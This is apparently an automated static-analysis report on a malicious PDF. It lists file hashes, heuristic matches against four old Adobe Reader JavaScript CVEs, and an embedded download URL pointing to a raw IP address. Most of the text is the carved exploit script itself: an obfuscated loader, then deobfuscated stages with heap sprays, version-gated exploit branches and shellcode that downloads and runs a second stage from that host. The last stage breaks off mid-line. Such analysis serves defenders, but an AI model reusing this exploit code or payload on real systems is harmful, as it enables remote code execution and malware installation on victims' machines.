Malicious PDF — malware analysis report

Static analysis result for SHA-256 ac2d7fa95a2814f7…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-09
MD5: e6ebec2ca5e73cbaafde86bb4252bcf3 SHA-1: 02a2ac82fbd7c74b954148de09148cf85405a01f SHA-256: ac2d7fa95a2814f7e4ff44a5e974ce38b1aed03f5673218afdaa5a2c6e617e86
490 Risk Score

Malware Insights

The PDF document was flagged by a machine learning classifier with high confidence as malicious. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The ML_NYX_PDF_MALICIOUS heuristic firing strongly suggests malicious intent, likely involving the embedded JavaScript to perform harmful actions.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=20&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11280 bytes
SHA-256: 6cda09eaeda747ed0723a23ea1c77df9c1ce5dbd8121ad2cb3488e89093925f7
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(48,52,46,25,46,3,17,3,67,67,33,24,68,27,70,3,6,4,50,69,66,66,6,4,52,43,25,71,6,4,50,29,52,43,6,4,11,29,25,71,6,4,25,34,69,71,6,4,69,69,29,52,6,4,66,71,43,56,6,4,71,56,50,33,6,4,50,33,69,56,6,4,56,43,71,56,6,4,11,56,50,33,6,4,29,66,17,43,6,4,11,66,50,33,6,4,69,69,56,50,6,4,66,66,8,33,6,4,29,25,50,33,6,4,56,69,69,43,6,4,69,69,11,71,6,4,50,17,72,43,6,4,17,29,25,25,6,4,52,52,17,56,6,4,33,50,52,52,6,4,71,56,50,33,6,4,43,69,69,56,6,4,69,34,71,66,6,4,11,29,56,66,6,4,50,11,52,33,6,4,72,71,69,71,6,4,25,71,50,29,6,4,29,17,11,29,6,4,25,33,25,34,6,4,29,17,71,43,6,4,50,33,29,66,6,4,69,43,11,29,6,4,11,71,50,33,6,4,11,50,69,29,6,4,52,29,56,69,6,4,50,33,29,66,6,4,72,56,11,66,6,4,52,29,56,69,6,4,43,34,69,69,6,4,71,17,71,34,6,4,74,8,52,43,6,4,43,29,56,69,6,4,8,33,69,69,6,4,33,25,56,52,6,4,69,50,17,56,6,4,11,71,52,72,6,4,43,17,56,50,6,4,56,8,43,33,6,4,8,74,56,69,6,4,25,33,71,56,6,4,69,33,52,17,6,4,11,29,17,52,6,4,29,25,25,66,6,4,29,25,50,33,6,4,56,69,72,71,6,4,66,66,8,8,6,4,56,43,50,33,6,4,50,8,71,33,6,4,25,43,71,66,6,4,29,71,52,52,6,4,56,43,72,71,6,4,8,50,50,33,6,4,8,8,56,69,6,4,56,71,50,33,6,4,56,69,50,33,6,4,74,33,43,29,6,4,29,34,29,25,6,4,25,33,43,69,6,4,74,8,29,69,6,4,66,50,50,33,6,4,50,56,72,56,6,4,56,43,11,8,6,4,11,71,69,69,6,4,34,66,56,69,6,4,52,69,25,33,6,4,66,50,50,33,6,4,50,33,56,50,6,4,66,74,52,11,6,4,29,34,56,29,6,4,34,50,25,50,6,4,52,52,52,52,6,4,25,72,52,52,6,4,25,50,52,34,6,4,56,56,56,56,6,4,56,56,56,56,6,4,29,56,29,50,6,4,71,56,66,74,6,4,52,52,66,50,6,4,56,56,56,56,6,4,29,56,56,56,6,4,43,56,50,69,6,4,29,56,17,34,6,4,50,33,29,29,6,4,50,33,25,43,6,4,17,56,29,25,6,4,43,69,50,69,6,4,52,52,56,29,6,4,66,50,25,69,6,4,66,25,66,52,6,4,56,56,56,56,6,4,11,29,66,50,6,4,66,43,11,72,6,4,29,71,66,8,6,4,17,66,52,52,6,4,43,71,50,69,6,4,50,33,56,50,6,4,25,50,25,50,6,4,52,52,66,17,6,4,52,52,52,52,6,4,56,72,25,33,6,4,11,72,25,33,6,4,25,43,50,17,6,4,56,17,56,71,6,4,56,56,56,56,6,4,29,43,50,8,6,4,56,43,72,71,6,4,56,71,43,11,6,4,11,72,72,71,6,4,66,11,66,29,6,4,43,11,11,69,6,4,72,71,71,71,6,4,11,66,56,71,6,4,69,69,11,72,6,4,43,11,69,72,6,4,72,71,71,71,6,4,72,56,56,50,6,4,11,69,72,8,6,4,29,69,72,56,6,4,52,50,66,50,6,4,56,56,56,56,6,4,52,52,56,56,6,4,56,43,29,66,6,4,25,50,50,33,6,4,43,34,69,69,6,4,43,11,29,17,6,4,17,8,71,71,6,4,11,11,56,56,6,4,66,72,11,56,6,4,43,11,11,71,6,4,17,8,71,71,6,4,72,25,56,29,6,4,66,43,66,71,6,4,43,66,66,43,6,4,17,8,71,71,6,4,56,56,56,34,6,4,50,74,29,34,6,4,56,71,43,17,6,4,50,50,69,56,6,4,17,8,71,71,6,4,71,17,56,71,6,4,66,74,29,17,6,4,66,74,56,56,6,4,29,69,56,56,6,4,66,74,29,11,6,4,52,52,56,56,6,4,17,71,29,66,6,4,43,56,50,29,6,4,17,66,11,29,6,4,56,56,66,74,6,4,52,52,29,69,6,4,56,71,29,66,6,4,56,56,66,74,6,4,25,33,50,69,6,4,29,69,56,43,6,4,29,66,52,52,6,4,50,69,56,71,6,4,56,43,43,69,6,4,56,72,25,33,6,4,17,69,25,33,6,4,50,56,71,11,6,4,56,56,69,52,6,4,52,74,11,29,6,4,50,56,71,11,6,4,56,56,69,52,6,4,43,71,11,29,6,4,56,56,66,74,6,4,52,25,66,74,6,4,29,66,52,52,6,4,25,50,56,50,6,4,52,25,34,43,6,4,52,52,52,52,6,4,71,25,50,25,6,4,25,43,56,25,6,4,52,25,34,50,6,4,56,25,50,74,6,4,66,52,50,34,6,4,33,8,56,17,6,4,43,74,69,69,6,4,29,33,50,74,6,4,43,66,17,33,6,4,11,34,71,66,6,4,17,74,69,66,6,4,11,56,72,52,6,4,11,71,66,50,6,4,11,56,11,71,6,4,72,52,69,74,6,4,69,66,72,52,6,4,72,25,69,66,6,4,69,34,69,17,6,4,72,25,69,34,6,4,69,72,69,72,6,4,72,25,69,34,6,4,69,56,69,29,6,4,11,11,72,52,6,4,11,56,72,25,6,4,11,56,66,50,6,4,66,66,69,52,6,4,69,72,69,8,6,4,72,66,69,56,6,4,69,8,66,29,6,4,56,56,69,29,6,4,56,56,56,56,3,40,52,4,59,43,49,48,54,59,44,25,2,0,5,46,5,74,64,51,53,67,45,31,47,48,1,25,46,5,74,15,1,25,59,27,49,47,22,72,62,51,53,67,45,5,74,19,70,5,74,40,73,5,74,70,5,74,15,68,4,33,68,49,5,48,59,27,46,56,64,51,53,26,72,67,40,5,25,49,4,5,59,44,5,74,40,73,44,52,4,59,43,49,48,54,59,44,33,21,46,67,45,0,74,5,44,8,41,27,70,59,25,31,44,13,5,5,74,53,46,67,40,0,74,5,44,0,31,70,56,21,56,43,56,43,56,43,56,43,40,0,74,5,44,74,8,8,5,70,56,21,71,56,56,56,56,56,40,0,74,5,44,23,74,53,1,54,74,8,70,4,59,25,68,43,74,23,25,46,33,24,68,27,67,40,0,74,5,44,68,43,61,1,25,59,70,23,74,53,1,54,74,8,15,1,25,59,27,49,47,22,72,40,0,74,5,44,51,53,70,74,8,8,5,30,46,68,43,61,1,25,59,19,56,21,69,50,67,40,0,74,5,44,53,74,5,68,23,70,4,59,25,68,43,74,23,25,46,65,6,4,34,56,34,56,6,4,34,56,34,56,65,67,40,53,74,5,68,23,70,25,2,0,5,46,53,74,5,68,23,64,51,53,67,40,0,74,5,44,43,54,4,59,49,72,70,46,0,31,30,56,21,71,56,56,56,56,56,67,26,74,8,8,5,40,52,54,5,46,0,74,5,44,43,54,4,59,49,70,56,40,43,54,4,59,49,62,43,54,4,59,49,72,40,43,54,4,59,49,19,19,67,45,8,41,27,37,43,54,4,59,49,55,70,53,74,5,68,23,19,23,74,53,1,54,74,8,40,73,44,0,74,5,44,54,0,25,5,52,1,54,31,70,4,59,25,68,43,74,23,25,46,65,6,4,56,43,56,43,6,4,56,43,56,43,65,67,40,31,47,48,1,25,46,54,0,25,5,52,1,54,31,15,1,25,59,27,49,47,62,71,71,34,29,72,67,45,54,0,25,5,52,1,54,31,19,70,54,0,25,5,52,1,54,31,40,73,44,49,47,48,68,15,43,54,1,1,74,33,18,49,54,5,25,70,36,54,1,1,74,33,15,43,54,1,1,25,43,49,42,7,74,48,1,32,59,52,54,46,45,68,4,33,24,12,65,65,64,7,68,27,12,54,0,25,5,52,1,54,31,73,67,40,73,44,52,4,59,43,49,48,54,59,44,23,5,48,59,49,52,46,67,45,59,54,23,70,4,59,25,68,43,74,23,25,46,65,6,4,56,13,56,13,6,4,56,13,56,13,6,4,56,13,56,13,6,4,56,13,56,13,65,67,40,0,74,5,44,23,74,53,1,54,74,8,70,4,59,25,68,43,74,23,25,46,33,24,68,27,67,40,47,25,74,23,33,1,54,43,41,70,59,54,23,19,23,74,53,1,54,74,8,40,33,48,27,33,1,54,43,41,70,4,59,25,68,43,74,23,25,46,65,6,4,56,13,56,13,6,4,56,13,56,13,65,67,40,47,25,74,8,25,5,68,48,2,25,70,72,56,40,68,23,5,74,53,70,47,25,74,8,25,5,68,48,2,25,19,47,25,74,23,33,1,54,43,41,15,1,25,59,27,49,47,40,31,47,48,1,25,46,33,48,27,33,1,54,43,41,15,1,25,59,27,49,47,62,68,23,5,74,53,67,45,33,48,27,33,1,54,43,41,19,70,33,48,27,33,1,54,43,41,40,73,44,52,48,1,1,33,1,54,43,41,70,33,48,27,33,1,54,43,41,15,68,4,33,68,49,5,48,59,27,46,56,64,68,23,5,74,53,67,40,33,1,54,43,41,70,33,48,27,33,1,54,43,41,15,68,4,33,68,49,5,48,59,27,46,56,64,33,48,27,33,1,54,43,41,15,1,25,59,27,49,47,30,68,23,5,74,53,67,40,31,47,48,1,25,46,33,1,54,43,41,15,1,25,59,27,49,47,19,68,23,5,74,53,62,56,21,71,56,56,56,56,67,45,33,1,54,43,41,70,33,1,54,43,41,19,33,1,54,43,41,19,52,48,1,1,33,1,54,43,41,40,73,44,7,25,7,70,59,25,31,44,13,5,5,74,53,46,67,40,52,54,5,46,48,70,56,40,48,62,17,71,56,56,40,48,19,19,67,45,7,25,7,37,48,55,70,33,1,54,43,41,19,47,25,74,23,33,1,54,43,41,40,73,44,0,74,5,44,59,4,7,70,17,72,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,40,4,49,48,1,15,23,5,48,59,49,52,46,65,6,71,29,56,56,56,52,65,64,59,4,7,67,40,73,44,52,4,59,43,49,48,54,59,44,27,25,49,48,43,54,59,46,67,45,0,74,5,44,74,5,5,53,70,59,25,31,44,13,5,5,74,53,46,67,40,48,52,46,74,23,23,15,8,54,43,15,36,54,1,1,74,33,15,27,25,49,32,43,54,59,67,45,0,74,5,44,23,74,53,1,54,74,8,70,4,59,25,68,43,74,23,25,46,33,24,68,27,67,40,0,74,5,44,47,35,51,29,56,56,36,58,70,23,74,53,1,54,74,8,15,1,25,59,27,49,47,22,72,40,0,74,5,44,51,53,70,56,21,71,56,56,56,56,56,30,46,47,35,51,29,56,56,36,58,19,56,21,69,50,67,40,0,74,5,44,53,74,5,68,23,70,4,59,25,68,43,74,23,25,46,65,6,4,34,56,34,56,6,4,34,56,34,56,65,67,40,53,74,5,68,23,70,25,2,0,5,46,53,74,5,68,23,64,51,53,67,40,0,74,5,44,23,29,13,24,75,66,29,52,70,46,56,21,56,43,56,43,56,43,56,43,30,56,21,71,56,56,56,56,56,67,26,56,21,71,56,56,56,56,56,40,52,54,5,46,0,74,5,44,0,51,43,60,9,34,66,53,70,56,40,0,51,43,60,9,34,66,53,62,23,29,13,24,75,66,29,52,40,0,51,43,60,9,34,66,53,19,19,67,45,74,5,5,53,37,0,51,43,60,9,34,66,53,55,70,53,74,5,68,23,19,23,74,53,1,54,74,8,40,73,44,0,74,5,44,49,20,38,47,58,33,16,31,70,4,59,25,68,43,74,23,25,46,65,6,56,34,65,67,40,31,47,48,1,25,46,49,20,38,47,58,33,16,31,15,1,25,59,27,49,47,62,56,21,71,56,56,56,67,45,49,20,38,47,58,33,16,31,19,70,49,20,38,47,58,33,16,31,40,73,44,49,20,38,47,58,33,16,31,70,65,58,15,65,19,49,20,38,47,58,33,16,31,40,74,23,23,15,8,54,43,15,36,54,1,1,74,33,15,27,25,49,32,43,54,59,46,49,20,38,47,58,33,16,31,67,40,73,73,44,74,10,1,4,27,48,59,68,70,74,23,23,15,23,1,4,27,32,59,68,40,0,74,5,44,68,0,70,23,74,5,68,25,32,59,49,46,74,23,23,15,0,48,25,31,25,5,63,25,5,68,48,54,59,15,49,54,18,49,5,48,59,27,46,67,15,43,47,74,5,13,49,46,56,67,67,40,52,54,5,46,0,74,5,44,48,70,56,40,48,62,74,10,1,4,27,48,59,68,15,1,25,59,27,49,47,40,48,19,19,67,45,48,52,46,74,10,1,4,27,48,59,68,37,48,55,15,59,74,7,25,70,70,3,42,18,43,5,48,23,49,3,67,45,0,74,5,44,1,0,70,74,10,1,4,27,48,59,68,37,48,55,15,0,25,5,68,48,54,59,40,73,73,44,48,52,46,46,1,0,70,70,34,67,39,39,46,46,68,0,70,70,50,67,14,14,46,1,0,62,70,50,15,17,72,67,67,67,45,27,25,49,48,43,54,59,46,67,40,73,25,1,68,25,44,48,52,46,1,0,70,70,11,15,17,67,45,23,5,48,59,49,52,46,67,40,73,25,1,68,25,44,48,52,46,46,46,68,0,70,70,66,67,39,39,46,68,0,70,70,11,67,67,14,14,46,1,0,62,11,15,17,17,67,67,45,33,21,46,67,40,73,25,1,68,25,44,48,52,46,46,1,0,57,70,34,15,17,67,39,39,46,1,0,62,70,34,15,72,67,39,39,46,1,0,57,70,50,15,17,69,67,39,39,46,1,0,62,70,50,15,17,11,67,67,45,52,4,59,43,49,48,54,59,44,74,46,67,45,4,49,48,1,15,23,5,48,59,49,8,46,3,23,28,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,44,12,44,53,53,53,53,17,17,17,3,64,59,25,31,44,9,74,49,25,46,67,67,40,73,0,74,5,44,47,70,74,23,23,15,23,1,4,27,32,59,68,40,52,54,5,46,0,74,5,44,52,70,56,40,52,62,47,15,1,25,59,27,49,47,40,52,19,19,67,45,48,52,46,47,37,52,55,15,59,74,7,25,70,70,3,42,18,43,5,48,23,49,3,67,45,0,74,5,44,48,70,47,37,52,55,15,0,25,5,68,48,54,59,40,73,73,44,48,52,46,46,48,57,50,15,17,72,67,14,14,46,48,62,50,15,72,67,67,45,43,70,59,25,31,44,13,5,5,74,53,46,67,40,0,74,5,44,8,70,4,59,25,68,43,74,23,25,46,3,6,4,34,56,34,56,6,4,34,56,34,56,3,67,40,0,74,5,44,25,70,4,59,25,68,43,74,23,25,46,33,24,68,27,67,40,31,47,48,1,25,46,8,15,1,25,59,27,49,47,62,70,56,21,50,56,56,56,67,45,8,19,70,8,40,73,8,70,8,15,68,4,33,68,49,5,46,56,64,56,21,50,56,56,56,30,25,15,1,25,59,27,49,47,67,40,52,54,5,46,52,70,56,40,52,62,72,34,56,56,40,52,19,19,67,45,43,37,52,55,70,8,19,25,40,73,74,46,67,40,74,46,67,40,49,5,53,45,49,47,48,68,15,7,25,8,48,74,15,59,25,31,10,1,74,53,25,5,46,59,4,1,1,67,40,73,43,74,49,43,47,46,25,67,45,73,74,46,67,40,73,73);
a=new String("vlz'ur%mdDP7:A&.G1S+Ux*pje/g@5-wIb9WC[M|;kEc {(hit8qfyo]0>NnQ_<V,'6)s3=42}aK");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
new asd;
}catch(q){
e=j['s'+'ubstr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 5554fd4e2c3ad3e4146f25b4cf297fbe33ffab9c188119eec81a11499229f6fd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u323d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: bf022825f2e2390d208d955ff2ee2b4520d6609d824889399987e46a644572ab
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u323d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var 